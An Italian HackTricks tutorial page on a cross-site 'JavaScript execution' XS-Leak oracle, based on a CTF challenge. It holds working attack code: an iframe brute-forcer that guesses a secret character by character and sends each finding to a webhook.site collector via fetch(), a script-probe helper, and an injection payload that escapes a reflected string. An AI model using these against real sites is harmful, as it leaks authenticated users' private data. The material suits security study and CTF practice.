JavaScript Execution XS Leak
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Questo primitive di XS-Search trasforma se una response cross-origin esegue come JavaScript in un Boolean oracle.
La configurazione tipica è:
- Positive state: il target restituisce testo controllato dall’attaccante o contenuto sensibile che non esegue JavaScript controllato dall’attaccante.
- Negative state: il target riflette testo controllato dall’attaccante in un punto che viene interpretato come JavaScript valido, così l’attaccante può forzare una callback come
window.parent.foo(). - Leak: caricare il target con un classico
<script src>e osservare se la callback viene eseguita.
In sostanza, questo è un execution oracle, non un timing oracle. L’unica cosa di cui l’attaccante ha bisogno è una cross-origin script inclusion che si comporta in modo diverso a seconda del branch dipendente dal secret.
Per il contesto generale sugli XS-Leaks, vedi:
When This Works
Questa tecnica è pratica quando tutte le seguenti condizioni sono vere:
- La vittima è autenticata verso l’origin target.
- L’attaccante può far richiedere al browser della vittima uno classic script dall’origin target.
- Un branch restituisce contenuto che è JavaScript valido controllato dall’attaccante.
- L’altro branch restituisce contenuto che non esegue la callback dell’attaccante.
In pratica, i casi più facili sono gli endpoint di search/debug che:
- restituiscono testo controllato dall’attaccante quando un guess è errato
- restituiscono un body diverso quando il guess è corretto
- permettono all’attaccante di scegliere un parametro come
callback,hint,msg, o un prefix/suffix riflesso
Basic Example
Codice lato server che proverà ${guess} come prefisso della flag:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Pagina principale che genera iframe verso la precedente pagina /guessing per testare ogni possibilità:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
La logica dell’attaccante è:
- Inizia ogni candidate come “good”.
- Carica la risposta target come uno script.
- Se la risposta esegue
window.parent.foo(), segna il candidate come sbagliato. - Se nessun callback viene eseguito, mantieni il candidate e continua il brute-forcing.
Minimal Probe Pattern
In molti target reali, un iframe non è necessario. È sufficiente un’inclusione diretta di uno script:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
Se il ramo “wrong guess” riflette miss(), allora:
probe(...) === falsesignifica che il callback è stato eseguito o che il caricamento è fallitoprobe(...) === truesignifica che lo script è stato caricato senza eseguire il callback dell’attaccante
Per affidabilità, usa un fresh script element per probe e aggiungi un cache-buster come ?r=${crypto.randomUUID()}.
Modern Caveats
It must be a classic script
Questo primitive si basa sul browser che recupera la risorsa come classic script. Un semplice <script src=...> senza crossorigin viene recuperato in modalità no-cors, ed è proprio per questo che questo vecchio pattern è ancora utile cross-origin.
Non passare a type="module" per questa tecnica:
- i cross-origin module scripts richiedono CORS
- molti target che sono includibili come classic scripts semplicemente falliranno come module
MIME type and nosniff decide whether the payload executes
I browser attuali sono più severi delle vecchie writeup. Se il target imposta X-Content-Type-Options: nosniff, il browser bloccherà una risposta script il cui MIME type non è un JavaScript MIME type.
Questo significa che questo oracle spesso dipende da:
- se il target restituisce
application/javascript/text/javascript - se il target restituisce
text/plain,text/html, o JSON - se
nosniffè presente
Questo è anche il motivo per cui alcuni endpoint danno un leak solo in un ramo: una risposta viene accettata come script, mentre l’altro ramo viene bloccato o parsato in modo diverso.
CORB can change the observable result
CORB aggiunge un altro ramo da considerare. Se una risposta è considerata CORB-protected, Chromium può trasformarla in una empty valid script response invece di mostrare un parse failure. Quindi per alcuni endpoint:
- uno stato attiva un normale script parse / callback
- un altro stato diventa uno script vuoto e viene eseguito solo
onload
Questo è comunque un oracle utile, ma il segnale ora è callback vs no callback oppure onload vs onerror, non solo “JavaScript executed or not”.
CSP can kill the attacker-controlled branch
Una CSP restrittiva sulla target response può rompere questo primitive quando il ramo riflesso non è più JavaScript eseguibile. Le writeup pubbliche di challenge XS-Leak dal 2022 al 2024 si basano ripetutamente su questo dettaglio:
script-src 'none'può costringere gli attaccanti a deviare da un oracle di esecuzione diretto- le interazioni CSP/SRI/CSP-report possono comunque creare other leak oracles, ma appartengono a pagine/tecniche diverse
Quindi, quando l’ovvio trucco del callback non funziona, controlla gli header della risposta prima di scartare l’endpoint.
Useful Variants
Callback-parameter endpoints
Il target più comodo è un endpoint in stile JSONP o debug che accetta un parametro come:
callback=...cb=...jsonp=...hint=...msg=...
Se il ramo “miss” riflette quel valore verbatim in JavaScript eseguibile mentre il ramo “hit” restituisce contenuto diverso, ottieni un oracle Boolean diretto senza misurazioni di timing.
Syntax-preserving prefixes and suffixes
A volte non puoi controllare completamente il body della risposta, ma puoi comunque far eseguire il ramo negativo:
- chiudi la stringa o l’argomento della funzione corrente
- inserisci il callback
- commenta i byte finali
Per esempio, un ramo riflesso come:
showResult("<attacker>");
può spesso essere trasformato in:
showResult("");window.parent.foo();//");
Se il ramo positivo non riflette quel payload, la callback diventa l’oracle.
Combinare con oracle basati su eventi
Se l’endpoint è instabile tra browser, combina l’oracle di esecuzione con i generic script load events già trattati nella sezione index:
- callback fired
onloadonerror
Questo è հատկապես utile quando un ramo produce JavaScript valido e un altro ramo produce comportamento MIME / CORB / CSP bloccato.
Pagine correlate:
Note pratiche
- Preferisci un bit per request e mantieni semplice il side effect della callback.
- Se provi molti candidati, rimuovi gli elementi
<script>inseriti in precedenza oppure isola ogni tentativo in un fresh iframe. - Il comportamento di cache e service worker può avvelenare l’oracle; usa cache-busting.
- Questo primitive è più forte quando il ramo negativo è JavaScript completamente controllato dall’attaccante. Se ottieni solo una reflection parziale, l’exploit diventa un problema di payload-shaping invece che un problema di XS-Search.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


